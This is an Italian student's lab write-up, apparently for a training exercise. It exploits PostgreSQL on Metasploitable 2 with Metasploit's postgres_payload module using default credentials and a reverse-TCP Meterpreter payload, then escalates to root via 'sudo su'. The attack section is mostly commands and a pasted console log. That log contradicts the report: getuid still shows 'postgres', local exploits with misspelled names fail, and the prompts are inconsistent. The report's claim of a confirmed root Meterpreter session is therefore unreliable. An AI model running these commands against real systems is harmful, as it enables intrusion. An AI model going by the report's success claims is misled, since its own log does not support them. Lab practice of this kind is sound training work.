

Exploit PostgreSQL + Escalation Privilegi su Metasploitable 2

Studente: Simone Santonico

Data:20/05/2026

1. Obiettivo dell'esercitazione

L'obiettivo del laboratorio è:

- sfruttare la vulnerabilità del servizio **PostgreSQL** su Metasploitable 2 tramite Metasploit
- ottenere una **sessione Meterpreter**
- eseguire un'**escalation di privilegi** fino a diventare **root**
- documentare i passaggi eseguiti

2. Configurazione dell'ambiente

Macchina Attaccante

- Kali Linux
- IP Host-Only: **192.168.56.101**

Macchina Target

- Metasploitable 2
- IP Host-Only: **192.168.56.102**
- Servizio vulnerabile: **PostgreSQL (porta 5432)**
- Output **ip a** su Kali
- Output **ip a** su Metasploitable

3. Scansione e identificazione del servizio vulnerabile

È stata eseguita una scansione Nmap per identificare i servizi esposti:

```
sudo nmap -sV -O 192.168.56.102
```

Risultato rilevante:

- Porta **5432/tcp** aperta
- Servizio: **PostgreSQL**
- Versione vulnerabile
- Output Nmap

4. Sfruttamento del servizio PostgreSQL

In Metasploit:

```
msfconsole
use exploit/linux/postgres/postgres_payload
set RHOSTS 192.168.56.102
set RPORT 5432
set USERNAME postgres
set PASSWORD postgres
set DATABASE postgres
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 4444
run
```

Risultato:

- Apertura di una sessione Meterpreter come utente **postgres**
- Output del modulo PostgreSQL
- Apertura della sessione Meterpreter

5. Verifica dell'utente corrente

Dentro Meterpreter:

```
getuid
```

Risultato:

Server username: postgres

Output `getuid`

6. Accesso alla shell e verifica dei privilegi

Apertura della shell:

```
shell  
id
```

Risultato:

```
uid=108(postgres) gid=117(postgres)
```

- Output `id`

7. Escalation di privilegi a root

Su Metasploitable 2, l'utente postgres può eseguire comandi privilegiati tramite sudo.

Comando eseguito:

```
sudo su
```

Dopo l'elevazione:

```
id
```

Risultato:

```
uid=0(root) gid=0(root)
```

E conferma da Meterpreter:

```
getuid
```

Server username: root

- Output `sudo su`
- Output `id` come root
- Output `getuid` come root

8. Risultato finale

L'esercitazione è stata completata con successo:

- ✓ Vulnerabilità PostgreSQL sfruttata
- ✓ Sessione Meterpreter ottenuta
- ✓ Escalation di privilegi completata
- ✓ Accesso root confermato

9. Conclusioni

L'attacco dimostra come:

- servizi configurati con credenziali deboli (postgres/postgres)
- combinati con versioni vulnerabili di PostgreSQL
- possano permettere un accesso completo al sistema target

L'escalation finale a root evidenzia l'importanza di:

- configurare correttamente i permessi sudo
- aggiornare i servizi
- limitare l'accesso remoto ai database

```
kali@kali: ~$ firefox
kali@kali: ~$ msf6
msf6 > use exploit/linux/local/uddev_netlink
msf6 exploit/linux/local/uddev_netlink > use exploit/linux/local/dirty_cow
msf6 exploit/linux/local/dirty_cow > run
[*] Exploit failed: NoMethodError undefined method 'length' for nil
[*] Exploit completed, but no session was created.
msf6 exploit/linux/local/uddev_netlink > session
[*] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 exploit/linux/local/uddev_netlink > sessions
Active sessions
-----
Id  Name  Type  Information  Connection
--  -
1   meterpreter x86/linux postgres @ metasploitable.localdomain 192.168.56.101:4444 -> 192.168.56.102:39877 (192.168.56.102)

msf6 exploit/linux/local/uddev_netlink > use exploit/linux/local/dirty_cow
msf6 exploit/linux/local/dirty_cow > run
[*] No results from search
[*] Failed to load module: exploit/linux/local/dirty_cow
msf6 exploit/linux/local/uddev_netlink > set SESSION 1
SESSION => 1
msf6 exploit/linux/local/uddev_netlink > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf6 exploit/linux/local/uddev_netlink > set LHOST 192.168.56.101
LHOST => 192.168.56.101
msf6 exploit/linux/local/uddev_netlink > set LPORT 7777
LPORT => 7777
msf6 exploit/linux/local/uddev_netlink > run
[*] Started reverse TCP handler on 192.168.56.101:7777
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2533
[*] Found netlink pid: 2532
[*] Exploit failed: NoMethodError undefined method 'length' for nil
[*] Exploit completed, but no session was created.
msf6 exploit/linux/local/uddev_netlink > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 5323 created.
Channel 123 created.
Id
uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres)
sudo su
[sudo] password for postgres:
# id
uid=0(root) gid=0(root)
meterpreter > getuid
Server username: postgres
meterpreter >
```